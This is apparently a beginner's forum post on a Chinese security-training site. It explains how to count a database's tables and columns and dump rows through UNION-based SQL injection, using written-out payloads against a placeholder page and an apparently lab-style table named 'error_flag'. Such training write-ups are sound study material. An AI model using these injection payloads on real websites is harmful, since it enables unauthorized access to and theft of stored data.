小技巧篇:查询表单数量及字段数量

hcom   ·   发表于 2021-09-03 18:10:28   ·   技术文章投稿区

首先呢,需要跟各位大佬说一下,我是刚刚开始上课的新手小白
希望这个小技巧可以帮助到同样是新手的各位小白,也帮助到一些之前不知道这个技巧的大大们(俏皮)

1. 在sql注入的阶段,当我们刚刚知道数据库名字,我们可以使用以下语句来返回数据库内表的数量:

  1. select count(*) from information_schema.tables where table_schema='数据库名' group by table_schema

p.s.数据库名可以使用database()替代

[sql注入使用]

  1. xxx.php?id=1 and 1=2 union select 1,2,(select count(*) from information_schema.tables where table_schema=database() group by table_schema)

[返回结果]会在第三个显错位显示表的数量
[功能]这样我们在获取表名的时候至少能知道有几个表(使用limit 0,1)

2. 获得表名后我们准备对字段下手,首先我们可以用以下的语句来获取字段数的数量

  1. select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='数据库名' and table_name='表名'

[sql注入使用]

  1. xxx.php?id=1 and 1=2 union select 1,2,(select count(*) from information_schema.COLUMNS where TABLE_SCHEMA=database() and table_name='error_flag')

[返回结果]会在第三个显错位显示字段的数量

这个时候,我懒惰的心开始蠢蠢欲动,我为什么那么麻烦要找出字段名呢?直接偏移注入就行,反正我都知道有多少字段了!

先查看多少数据,不然等到又要费工夫用limit!

  1. select count(*) from error_flag

[sql注入使用]

  1. xxx.php?id=1 and 1=2 union select 1,error_flag.* from error_flag limit 0,1

[返回结果] 知道多少数据就可以根据(limit 0~数据量,1)来获取数据了

希望我这个小技巧可以帮助大家,有什么错误希望各位大大可以帮我纠正,先谢谢各位大佬们。
要加班写作业了(微笑)

用户名金币积分时间理由
Track-聂风 25.00 0 2021-10-09 14:02:45 一个受益终生的帖子~~

打赏我,让我更有动力~

1 Reply   |  Until 7天前 | 89 View

Track-聂风
发表于 7天前

你这个偏移注入,如果有合适的输出点。你的方法也是可行的

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

掌控者 © 2016 - 2021. All Rights Reserved. 掌控者

Powered by 掌控者